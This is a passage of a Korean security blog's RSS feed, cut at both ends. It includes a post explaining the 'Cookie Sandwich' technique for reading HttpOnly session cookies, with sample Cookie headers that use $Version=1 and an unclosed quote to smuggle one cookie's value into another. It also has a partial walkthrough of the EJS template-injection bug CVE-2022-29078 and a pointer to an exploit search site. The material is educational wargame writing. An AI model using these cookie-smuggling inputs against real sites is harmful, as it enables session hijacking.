      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;575&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccX8j5/btsP2dPkGYS/HBTin7TUQMpE6v3YOfskT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccX8j5/btsP2dPkGYS/HBTin7TUQMpE6v3YOfskT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccX8j5/btsP2dPkGYS/HBTin7TUQMpE6v3YOfskT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccX8j5%2FbtsP2dPkGYS%2FHBTin7TUQMpE6v3YOfskT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;682&quot; height=&quot;255&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근&amp;nbsp;워게임을&amp;nbsp;풀다가&amp;nbsp;HTTP&amp;nbsp;Cookie&amp;nbsp;Sandwich라는&amp;nbsp;흥미로운&amp;nbsp;공격&amp;nbsp;기법을&amp;nbsp;접하게&amp;nbsp;되었다.&amp;nbsp;한국어로&amp;nbsp;정리된&amp;nbsp;자료가&amp;nbsp;거의&amp;nbsp;없어,&amp;nbsp;기억을&amp;nbsp;정리할&amp;nbsp;겸&amp;nbsp;글로&amp;nbsp;남겨본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Cookie Sandwich는&amp;nbsp;공격자가&amp;nbsp;HttpOnly&amp;nbsp;속성이&amp;nbsp;설정된&amp;nbsp;쿠키를&amp;nbsp;우회적으로&amp;nbsp;추출할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;공격&amp;nbsp;기법이다.&lt;br /&gt;이는&amp;nbsp;웹&amp;nbsp;서버가&amp;nbsp;쿠키를&amp;nbsp;파싱하는&amp;nbsp;과정에서&amp;nbsp;특수&amp;nbsp;문자를&amp;nbsp;포함한&amp;nbsp;입력을&amp;nbsp;처리하는&amp;nbsp;방식의&amp;nbsp;차이를&amp;nbsp;악용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현대&amp;nbsp;웹&amp;nbsp;브라우저는&amp;nbsp;RFC&amp;nbsp;2109&amp;nbsp;표준을&amp;nbsp;완전히&amp;nbsp;지원하지&amp;nbsp;않지만,&amp;nbsp;여전히&amp;nbsp;많은&amp;nbsp;서버가&amp;nbsp;이를&amp;nbsp;지원한다.&lt;br /&gt;공격자는&amp;nbsp;이를&amp;nbsp;이용해&amp;nbsp;서버가&amp;nbsp;이전&amp;nbsp;버전&amp;nbsp;쿠키&amp;nbsp;파서를&amp;nbsp;사용하도록&amp;nbsp;유도할&amp;nbsp;수&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;예를 들어, 쿠키 헤더에 $Version=1을 추가하면 서버는 RFC2109 기반 처리 방식을 따를 수 있다.&lt;br /&gt;또한&amp;nbsp;쿠키&amp;nbsp;값은&amp;nbsp;큰따옴표(&quot;)&amp;nbsp;안에&amp;nbsp;포함될&amp;nbsp;경우&amp;nbsp;특수문자까지&amp;nbsp;허용되며,&amp;nbsp;$Path와&amp;nbsp;$Domain&amp;nbsp;속성을&amp;nbsp;지정해&amp;nbsp;응답&amp;nbsp;쿠키를&amp;nbsp;변조할&amp;nbsp;수도&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;만약&amp;nbsp;서버가&amp;nbsp;$Version=1을&amp;nbsp;무시한다면,&amp;nbsp;이는&amp;nbsp;해당&amp;nbsp;서버가&amp;nbsp;RFC2109를&amp;nbsp;지원하지&amp;nbsp;않고&amp;nbsp;단순히&amp;nbsp;일반&amp;nbsp;쿠키&amp;nbsp;처리만&amp;nbsp;한다는&amp;nbsp;의미가&amp;nbsp;된다.&lt;/p&gt;
&lt;pre id=&quot;code_1755837284741&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Version 지정
Cookie: $Version=1; q1=&quot;test&quot;;

# 특수문자 포함
Cookie: $Version=1; q1=&quot;q2 = test&quot;;

# Path, Domain
Cookie: $Version=1; q1=&quot;test&quot;; $Path=&quot;/&quot;; $Domain=test;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xssMY/btsP2ZiOfhw/lBmABIOdM4Hhan5NEH2DZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xssMY/btsP2ZiOfhw/lBmABIOdM4Hhan5NEH2DZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xssMY/btsP2ZiOfhw/lBmABIOdM4Hhan5NEH2DZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxssMY%2FbtsP2ZiOfhw%2FlBmABIOdM4Hhan5NEH2DZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;261&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음의 코드를 기반으로 테스트를 진행해보겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xjqZS/btsP2F5YDOM/15H7p9SivOL4QSTKVMK9S1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xjqZS/btsP2F5YDOM/15H7p9SivOL4QSTKVMK9S1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xjqZS/btsP2F5YDOM/15H7p9SivOL4QSTKVMK9S1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxjqZS%2FbtsP2F5YDOM%2F15H7p9SivOL4QSTKVMK9S1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;288&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/set에 방문한 뒤, HttpOnly 속성을 가진 SESSION 쿠키를 생성한 뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test라는 이름을 가진 쿠키를 생성한 뒤, /test 엔드포인트에 접근해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이, test의 값을 출력하고 있음을 확인할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS가 가능하도록 설정해 둔 /xss 포인트에서 document.cookie를 읽어보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uxCWC/btsP2KGaFUv/FK5so6vwUDGwKMg0gP0gFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uxCWC/btsP2KGaFUv/FK5so6vwUDGwKMg0gP0gFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uxCWC/btsP2KGaFUv/FK5so6vwUDGwKMg0gP0gFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuxCWC%2FbtsP2KGaFUv%2FFK5so6vwUDGwKMg0gP0gFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;318&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HttpOnly가 설정 된 쿠키는 보이지 않고, test 쿠키만 보임을 확인할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 속성이 설정 된 경우, 스크립트를 통해 쿠키에 접근할 수 없기 때문이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cookie Sandwich를 사용하면, 이를 추출해낼 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현대 표준에는 큰따옴표는 값을 감쌀 때 허용되며, 몇몇 서버의 경우에는 이를 닫지 않아도 허용해준다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1755838002991&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 이전 버전을 지원하는 경우
Cookie: $Version=1; param1=&quot;start; param2=end&quot;
{
    &quot;param1&quot;: &quot;start; param2=end&quot;
}


# 이전 버전을 지원하지 않는 경우
Cookie: param1=&quot;start; param2=end&quot;
{
    &quot;param1&quot;: &quot;start&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 결과를 살펴보면, 이전 버전을 지원하는 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;가 닫히지 않았기에 param1의 값 내에 param2의 값이 포함된 것을 확인할 수 있으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 버전을 지원하지 않는 경우에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;가 닫히지 않은 부분부터는 모두 무시되어, param2의 값이 무시된 것을 확인할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 버전을 지원하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;param1과 param2 사이의 값이 존재한다면, 이는 param1의 값으로 포함되어 전달된다는 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Cookie Sandwich는 해당 로직을 이용하여, HttpOnly 속성이 존재하는 Cookie를 추출해낼 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이것저것/WEB</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/281</guid>
      <comments>https://dor1m4n.tistory.com/281#entry281comment</comments>
      <pubDate>Thu, 4 Sep 2025 09:41:12 +0900</pubDate>
    </item>
    <item>
      <title>PoC 찾기가 너무 힘들었어요를 한방에 해결</title>
      <link>https://dor1m4n.tistory.com/272</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://sploitus.com/?query=CVE-2024-33883#exploits&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://sploitus.com/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1753229408263&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;  Sploitus | Exploits &amp;amp; Tools Search Engine&quot; data-og-description=&quot;Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.&quot; data-og-host=&quot;sploitus.com&quot; data-og-source-url=&quot;https://sploitus.com/?query=CVE-2024-33883#exploits&quot; data-og-url=&quot;https://sploitus.com&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Oh7jB/hyZm9Dvo3C/QQIq1yGy37MFmF0b7Dik81/img.png?width=1024&amp;amp;height=512&amp;amp;face=0_0_1024_512&quot;&gt;&lt;a href=&quot;https://sploitus.com/?query=CVE-2024-33883#exploits&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://sploitus.com/?query=CVE-2024-33883#exploits&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Oh7jB/hyZm9Dvo3C/QQIq1yGy37MFmF0b7Dik81/img.png?width=1024&amp;amp;height=512&amp;amp;face=0_0_1024_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;  Sploitus | Exploits &amp;amp; Tools Search Engine&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;sploitus.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cve만 알고 있다면, 대부분 PoC가 여기 더더덩~ 하고 등장해줌&lt;/p&gt;</description>
      <category>이것저것/WEB</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/272</guid>
      <comments>https://dor1m4n.tistory.com/272#entry272comment</comments>
      <pubDate>Wed, 23 Jul 2025 09:10:20 +0900</pubDate>
    </item>
    <item>
      <title>[dreamhack] Return to Library</title>
      <link>https://dor1m4n.tistory.com/269</link>
      <description>&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bK7Khw/btsPiArdRXQ/hBJgaAfM8OAQL1apohLcYk/1cf7096a-a1c4-43b4-94ad-645606ad93cf_Return_To_Library_%28RTL%29.pdf?attach=1&amp;amp;knm=tfile.pdf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;1cf7096a-a1c4-43b4-94ad-645606ad93cf_Return_To_Library_(RTL).pdf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.42MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>dreamhack/pwn</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/269</guid>
      <comments>https://dor1m4n.tistory.com/269#entry269comment</comments>
      <pubDate>Tue, 15 Jul 2025 13:01:02 +0900</pubDate>
    </item>
    <item>
      <title>1-day 분석하기 : CVE-2022-29078</title>
      <link>https://dor1m4n.tistory.com/238</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;[CVE-2022-29078] EJS Server Side Template Injection 취약점&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PlTIs/btsNVeBJ8KS/KmwuTdikWyvrYWuirkcOTk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PlTIs/btsNVeBJ8KS/KmwuTdikWyvrYWuirkcOTk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PlTIs/btsNVeBJ8KS/KmwuTdikWyvrYWuirkcOTk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPlTIs%2FbtsNVeBJ8KS%2FKmwuTdikWyvrYWuirkcOTk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;236&quot; height=&quot;236&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;드림핵 문제 풀다가 마주친 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;ejs 3.1.6 ~ 3.1.9 까지 발견되는 취약점이라고 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwGYbh/btsNSNFVtwN/cZKW2SPxpFZABj5Sr2DBQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwGYbh/btsNSNFVtwN/cZKW2SPxpFZABj5Sr2DBQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwGYbh/btsNSNFVtwN/cZKW2SPxpFZABj5Sr2DBQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwGYbh%2FbtsNSNFVtwN%2FcZKW2SPxpFZABj5Sr2DBQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;725&quot; height=&quot;356&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;템플릿을 렌더링하여 넘겨줄때에, 아무런 필터링 없이 바로 전달할 때 발생하는 취약점이다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;조금 더 깊게 살펴보자&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/mde/ejs/blob/main/lib/ejs.js&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/mde/ejs/blob/main/lib/ejs.js&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1747032334309&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;ejs/lib/ejs.js at main &amp;middot; mde/ejs&quot; data-og-description=&quot;Embedded JavaScript templates -- http://ejs.co. Contribute to mde/ejs development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/mde/ejs/blob/main/lib/ejs.js&quot; data-og-url=&quot;https://github.com/mde/ejs/blob/main/lib/ejs.js&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/fqVbH/hyYRtJgwIt/m71Lkk1oKQG6erekcfpPL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/W7KP2/hyYPptLXsN/FfkTfcw4FeppiRpqRmDsz1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/mde/ejs/blob/main/lib/ejs.js&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/mde/ejs/blob/main/lib/ejs.js&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/fqVbH/hyYRtJgwIt/m71Lkk1oKQG6erekcfpPL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/W7KP2/hyYPptLXsN/FfkTfcw4FeppiRpqRmDsz1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;ejs/lib/ejs.js at main &amp;middot; mde/ejs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Embedded JavaScript templates -- http://ejs.co. Contribute to mde/ejs development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpOPDi/btsNUUctALj/uCNxkb8ZbtmAd6N5cOKHW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpOPDi/btsNUUctALj/uCNxkb8ZbtmAd6N5cOKHW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpOPDi/btsNUUctALj/uCNxkb8ZbtmAd6N5cOKHW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpOPDi%2FbtsNUUctALj%2FuCNxkb8ZbtmAd6N5cOKHW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;865&quot; height=&quot;238&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;코드를 살펴보면, 다음과 같은 부분에 집중해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;data에 args.shift의 값이 대입되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이를 위의 코드를 따라서, 실제로 시행하였을 때에 변수를 조회해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;만약, ?data=test 를 넣었을 때, data에 test라는 값이 대입되어있음을 확인해볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;조금 더 코드를 살펴보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4ZZOz/btsNS5T57sd/W1oPbkhPHvLXr87Kf9l0YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4ZZOz/btsNS5T57sd/W1oPbkhPHvLXr87Kf9l0YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4ZZOz/btsNS5T57sd/W1oPbkhPHvLXr87Kf9l0YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4ZZOz%2FbtsNS5T57sd%2FW1oPbkhPHvLXr87Kf9l0YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;161&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;받아온 데이터 중, data.settings의 view options를 viewOpts에 대입하고 &lt;br /&gt;이를 opts라는 파라미터에 얕은 복사를 수행하고 있음을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 data에 대해 아무런 제제가 없기 때문에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;settings['view options']를 강제로 삽입하여 내가 원하는 흐름을 이끌어낼 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 추가적으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;EJS는 템플릿을 렌더링할 때, JS 코드를 실행해주는 로직이 존재하는데&lt;/p&gt;
